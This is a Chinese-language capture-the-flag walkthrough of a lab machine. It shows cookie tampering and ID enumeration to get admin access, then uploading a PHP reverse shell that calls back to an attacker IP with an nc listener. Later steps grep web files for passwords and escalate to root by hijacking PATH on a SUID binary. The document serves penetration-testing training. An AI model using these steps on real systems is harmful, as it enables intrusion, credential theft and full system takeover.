外网打点

当你进行包含身份验证机制的Web安全评估时,始终建议检查Cookie、会话,并尝试弄清楚访问控制的实际工作原理。在许多情况下,仅靠单一漏洞可能无法实现远程代码执行或在系统上建立立足点,而需要将多种类型的漏洞和利用方式进行组合利用才能达成目标。在这个实验环境中,我们将了解到,信息泄露(Information Disclosure)和访问控制失效(Broken Access Control)这类漏洞,尽管看似不太严重,但在攻击系统时可能产生巨大影响,因此即使是微小的漏洞也至关重要。

我们将通过使用 Nmap 工具扫描开放端口来开始我们的信息收集。

nmap扫描

└─# nmap -sV -sC --min-rate 1000 10.129.95.191 

我们可以发现 22 端口(SSH)和 80 端口(HTTP)处于开放状态。接着我们使用浏览器访问该 IP 地址,看到一个关于汽车的网站。

在主页上,可以找到一些关于如何通过登录访问服务的有用信息:

根据这些信息,该网站应该存在一个登录页面。在进行目录和页面枚举之前,我们可以尝试使用 Burp Suite 代理以被动方式爬取网站,来绘制网站结构图。

Burp Suite 是一款功能强大的安全测试工具,可用于对 Web 应用程序、移动应用和 Thick Client 客户端进行安全测试。Burp 提供了多种功能,包括网页爬虫(crawler)、扫描器(scanner)、代理(proxy)、重发器(repeater)、入侵者(intruder)等,便于进行全面的安全评估。

网络爬虫(也称为网页蜘蛛或网络机器人)是一种按照系统化、自动化方式浏览万维网的程序或自动化脚本。这一过程被称为网页抓取(Web crawling)或蜘蛛爬行(spidering)。许多合法网站,尤其是搜索引擎,都会使用爬虫技术来获取最新数据。

如果你将网页流量通过 Burp Suite 进行代理传输(不拦截数据包),默认情况下,它能够以被动方式对网站进行爬行,自动将请求过的所有内容更新到站点地图中,从而在不发送额外请求的情况下,构建出完整的文件和目录结构树。

有关网络代理及类似 Burp Suite 工具的更深入阅读和详细分析,可参考 HTB Academy 模块《使用网络代理》(Using Web Proxies):

首先,我们将启动 Burp Suite,并配置浏览器通过代理发送流量。

我们已经配置好代理了这里就不说了

burpsuit sitemap

我们需要在 Burp Suite 中关闭拦截功能,因为该功能默认是启用的。进入 Proxy 选项卡,在 Intercept 子选项卡下,点击“Intercept is on”按钮,将其切换为“Intercept is off”以禁用拦截。

现在所有配置都已正确完成,我们在浏览器中刷新页面,然后切换到 Burp Suite 的 Target 选项卡,点击 Sitemap(站点地图)选项:

可以看到一些在正常浏览时无法发现的目录和文件。其中特别引人注意的是 /cdn-cgi/login 这个目录。

我们可以在浏览器中访问该路径,确实会看到一个登录页面:

在尝试了几组常见的默认用户名/密码组合后,我们未能成功登录。但页面上还有一个“以访客身份登录(Login as Guest)”的选项。点击该选项后,我们以 Guest 身份成功登录,并看到页面出现了几个新的导航选项:

在浏览所有可用页面后,我们发现唯一看起来有价值的是“Uploads”(上传)页面。然而,我们无法访问该页面,因为需要拥有超级管理员权限才能进入:

Cookie提权

我们需要找到一种方法,将权限从 Guest 用户提升至超级管理员角色。实现这一目标的一种方法是检查 Cookie 和会话是否可以被篡改。

Cookie 是由 Web 服务器创建、存储在浏览器所在计算机文件系统中的小型数据文本文件,用于在用户浏览网站时识别其身份。

可以通过使用 Mozilla Firefox 的开发者工具来查看和修改 Cookie。

开发者工具(Developer Tools)是一组内置于 Firefox 浏览器中的网页开发工具。你可以使用它们来检查、编辑和调试 HTML、CSS 和 JavaScript 代码。

要进入开发者工具面板,我们需要在网页内容上右键单击,然后选择“检查元素(Q)”(Inspect Element(Q))。

然后我们可以导航到“存储”(Storage)部分,其中会显示当前的 Cookie。可以看到,这里有一个 role=guestuser=2233,我们可以推测:如果能够知道超级管理员对应的用户编号,或许就可以通过修改 user 变量的值来获得对上传页面的访问权限。

我们再次查看浏览器地址栏中的 URL,发现每个用户都有一个对应的 id:

http://10.129.95.191/cdn-cgi/login/admin.php?content=accounts&id=2

我们可以尝试将 URL 中的 id 参数更改为其他值,例如改为 1,看看是否能够枚举其他用户:

确实,我们发现了一个信息泄露漏洞,而这个漏洞可能被我们加以利用。现在我们已经知道了管理员用户的访问 ID,因此可以尝试通过开发者工具修改我们 Cookie 中的值:将 user 改为 34322role 改为 admin。修改完成后,我们重新访问 Uploads 页面。

反弹shell

现在我们已经可以访问上传表单,接下来可以尝试上传一个 PHP 反弹 shell。我们不必自己编写,而是使用一个现成的。

在 Parrot OS 中,可以在 /usr/share/webshells/ 目录下找到各种 Webshell。如果你的系统中没有该目录,也可以从网上下载相关资源。

本次练习中,我们将使用 /usr/share/webshells/php/php-reverse-shell.php 文件。

<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
//
// This tool may be used for legal purposes only. Users take full responsibility
// for any actions performed using this tool. The author accepts no liability
// for damage caused by this tool. If these terms are not acceptable to you, then
// do not use this tool.
//
<SNIP>

set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.16.25'; // CHANGE THIS WITH YOUR IP
$port = 9999; // CHANGE THIS WITH YOUR LISTENING PORT
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
<SNIP>
?>

当然,我们需要先修改上述代码,使其符合我们的需求。我们将修改其中的 $ip$port 变量,将其设置为我们的攻击机 IP 地址和监听端口,然后尝试上传该文件。

我们终于成功上传了文件。接下来,我们可能需要通过暴力破解目录来寻找上传文件的存储路径,但也可以尝试猜测uploads 目录是一个合理的猜测。我们同时使用 gobuster 工具进行扫描,以确认该目录是否存在。

gobuster dir --url http://10.129.95.191/ --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php

gobuster 立即发现了 /uploads 目录。我们虽然没有权限访问该目录本身,但可以尝试直接访问我们已上传的文件。

但在此之前,我们需要先设置一个 Netcat 监听连接:

nc -lvnp 9999

然后通过浏览器访问我们上传的 PHP 反弹 shell 文件,触发其执行:

http://10.129.95.191/uploads/php-reverse-shell.php

我们成功获得了反弹 shell!为了获得一个功能完整的交互式 shell,我们可以执行以下命令:

python3 -c 'import pty;pty.spawn("/bin/bash")'

内网横向

作为用户 www-data,由于该角色在系统上的权限受限,我们无法完成太多操作。由于网站使用了 PHP 和 SQL,我们可以进一步枚举 Web 目录,查找可能的信息泄露或配置错误。

经过一番查找,我们在 /var/www/html/cdn-cgi/login 目录下发现了一些有趣的 PHP 文件。我们可以手动逐个查看这些页面的源代码,也可以使用 grep 工具搜索包含敏感信息的字符串。

grep 是一个用于在文件中搜索指定“模式”(PATTERN)并输出匹配行的工具。我们可以使用 cat * 读取该目录下的所有文件,并将输出通过管道传递给 grep,搜索以 passw 开头的字符串,例如 passwdpassword。同时,我们可以使用 -i 选项忽略大小写,以匹配如 PasswordPASSWORD 这样的单词。

命令示例如下:

cat * | grep -i passw

该命令将帮助我们快速发现可能包含数据库密码或其他敏感凭证的配置信息。

我们确实得到了密码:MEGACORP_4dm1n!!。我们可以通过读取 /etc/passwd 文件来检查系统上有哪些可用用户,从而尝试对该密码进行复用:

cat /etc/passwd

我们找到了用户 robert。为了以该用户身份登录,我们使用 su 命令:

不幸的是,这个密码不是用户 robert 的。现在我们逐个阅读文件。我们先从看起来比较有趣的 db.php 开始:

现在我们已经获得了密码,可以成功登录,并在 robert 的家目录中读取 user.txt 标志文件:

权限提升(Privilege Escalation)

在运行任何权限提升或信息枚举脚本之前,我们先检查一些用于提权的基本命令,例如 sudo 和 id:

我们注意到用户 robert 属于 bugtracker 组。让我们尝试查看该组是否有相关的可执行文件:

find / -group bugtracker 2>/dev/null

我们找到了一个名为 bugtracker 的文件。我们检查它的权限以及文件类型:

ls -la /usr/bin/bugtracker && file /usr/bin/bugtracker

该二进制文件设置了 SUID 位,这是一个有希望的利用途径。

通常称为 SUID(Set owner User ID),用户级别的特殊权限只有一个功能:具有 SUID 的文件总是以该文件所有者的身份执行,而不管哪个用户执行了该命令。如果文件所有者没有执行权限,则此处会显示大写的 S。

在我们的情况下,二进制文件 'bugtracker' 的所有者是 root,并且由于它设置了 SUID,我们可以以 root 权限运行它。

我们将运行该程序,观察其行为:

该工具接受用户输入,作为将要使用 cat 命令读取的文件名。然而,它并未指定 cat 命令的完整路径,因此我们可能可以利用这一点。

我们将进入 /tmp 目录,并创建一个名为 cat 的文件,其内容如下:

/bin/sh

然后我们设置该文件的执行权限:

chmod +x cat

为了利用这一点,我们可以将 /tmp 目录添加到 PATH 环境变量中。

PATH 是类 Unix 操作系统、DOS、OS/2 和 Microsoft Windows 上的一个环境变量,用于指定可执行程序所在的目录集合。

我们可以通过执行以下命令来实现:

export PATH=/tmp:$PATH

现在我们将检查 $PATH:

echo $PATH

最后,从 /tmp 目录执行 bugtracker:

bugtracker

root 标志可以在 /root 目录中找到:

我们已经获取了两个标志,恭喜!